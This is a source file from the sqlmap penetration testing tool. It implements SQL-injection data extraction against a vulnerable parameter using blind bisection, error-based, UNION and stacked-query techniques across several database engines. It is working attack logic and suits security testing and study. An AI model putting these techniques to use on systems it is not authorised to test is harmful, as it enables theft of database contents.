#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import dataToSessionFile from lib.core.common import dataToStdout from lib.core.common import expandAsteriskForColumns from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import readInput from lib.core.common import replaceNewlineTabs from lib.core.common import safeStringFormat from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.exception import sqlmapNotVulnerableException from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.inband.union.use import unionUse from lib.techniques.blind.inference import bisection from lib.techniques.error.use import errorUse from lib.utils.resume import queryOutputLength from lib.utils.resume import resume def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression)) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): outputs = [] origExpr = None for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) if resumeValue: output = resume(expressionReplaced, payload) if not output or ( expected == "int" and not output.isdigit() ): if output: warnMsg = "expected value type %s, resumed '%s', " % (expected, output) warnMsg += "sqlmap is going to retrieve the value again" logger.warn(warnMsg) output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar) if isinstance(num, int): expression = origExpr outputs.append(output) return outputs def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ if kb.injection.data[1].vector is not None: vector = agent.cleanupPayload(kb.injection.data[1].vector) kb.pageTemplate = kb.injection.data[1].pageTemplate else: vector = queries[kb.misc.testedDbms].inference.query kb.pageTemplate = kb.originalPage query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = [] test = None untilLimitChar = None untilOrderChar = None if resumeValue: output = resume(expression, payload) else: output = None if output and ( expected is None or ( expected == "int" and output.isdigit() ) ): return output if not unpack: return __goInference(payload, expression, charsetType, firstChar, lastChar) if kb.dbmsDetected: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and kb.dbms == DBMS.FIREBIRD: expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or ( kb.dbms == DBMS.MSSQL and topLimit ): if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStop = queries[kb.dbms].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms == DBMS.MSSQL: if limitRegExp: limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStop = queries[kb.dbms].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif kb.dbms == DBMS.ORACLE: limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): stopLimit += startLimit untilLimitChar = expression.index(queries[kb.dbms].limitstring.query) expression = expression[:untilLimitChar] elif kb.dbms == DBMS.MSSQL: stopLimit += startLimit if not stopLimit or stopLimit <= 1: if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"): test = "n" elif batch: test = "y" else: message = "can the SQL query provided return " message += "multiple entries? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] if resumeValue: count = resume(countedExpression, payload) if not stopLimit: if not count or not count.isdigit(): count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar) if count and count.isdigit() and int(count) > 0: count = int(count) if batch: stopLimit = count else: message = "the SQL query provided can return " message += "up to %d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): return "Quit" elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "How many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "Invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "Invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif ( not count or int(count) == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None for num in xrange(startLimit, stopLimit): output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) outputs.append(output) return outputs elif kb.dbms == DBMS.ORACLE and expression.startswith("SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) returnValue = ", ".join([output for output in outputs]) else: returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar) return returnValue def __goError(expression, resumeValue=True): """ Retrieve the output of a SQL query taking advantage of an error-based SQL injection vulnerability on the affected parameter. """ result = None if conf.direct: return direct(expression), None condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition and resumeValue: result = resume(expression, None) if not result: result = errorUse(expression) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(result))) return result def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True, dump=False): """ Retrieve the output of a SQL query taking advantage of an inband SQL injection vulnerability on the affected parameter. """ output = None partial = False data = [] condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition and resumeValue: output = resume(expression, None) if not output or ( expected == "int" and not output.isdigit() ): partial = True if not output: output = unionUse(expression, resetCounter=True, unpack=unpack, dump=dump) if output: data = parseUnionPage(output, expression, partial, condition, sort) return data def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ if suppressOutput: pushValue(conf.verbose) conf.verbose = 0 if conf.direct: value = direct(expression) elif kb.booleanTest is not None or kb.errorTest is not None or kb.unionTest is not None: expression = cleanQuery(expression) expression = expandAsteriskForColumns(expression) value = None expression = expression.replace("DISTINCT ", "") if inband and kb.unionTest is not None: kb.technique = 3 value = __goInband(expression, expected, sort, resumeValue, unpack, dump) if not value: warnMsg = "for some reason(s) it was not possible to retrieve " warnMsg += "the query output through inband SQL injection " warnMsg += "technique, sqlmap is going blind" logger.warn(warnMsg) oldParamNegative = kb.unionNegative kb.unionNegative = False if error and kb.errorTest and not value: kb.technique = 2 value = __goError(expression, resumeValue) if not value: warnMsg = "for some reason(s) it was not possible to retrieve " warnMsg += "the query output through error SQL injection " warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition is not None else "blind") logger.warn(warnMsg) if blind and kb.booleanTest and not value: kb.technique = 1 value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar) kb.unionNegative = oldParamNegative if value and isinstance(value, basestring): value = value.strip() else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise sqlmapNotVulnerableException, errMsg if suppressOutput: conf.verbose = popValue() return value def goStacked(expression, silent=False): kb.technique = 4 expression = cleanQuery(expression) if conf.direct: return direct(expression), None comment = queries[kb.dbms].comment.query query = agent.prefixQuery("; %s" % expression) query = agent.suffixQuery("%s;%s" % (query, comment)) debugMsg = "query: %s" % query logger.debug(debugMsg) payload = agent.payload(newValue=query) page, _ = Request.queryPage(payload, content=True, silent=silent) return payload, page def checkBooleanExpression(expression): return getValue(agent.forgeCaseStatement(expression), expected="int", charsetType=1) == "1"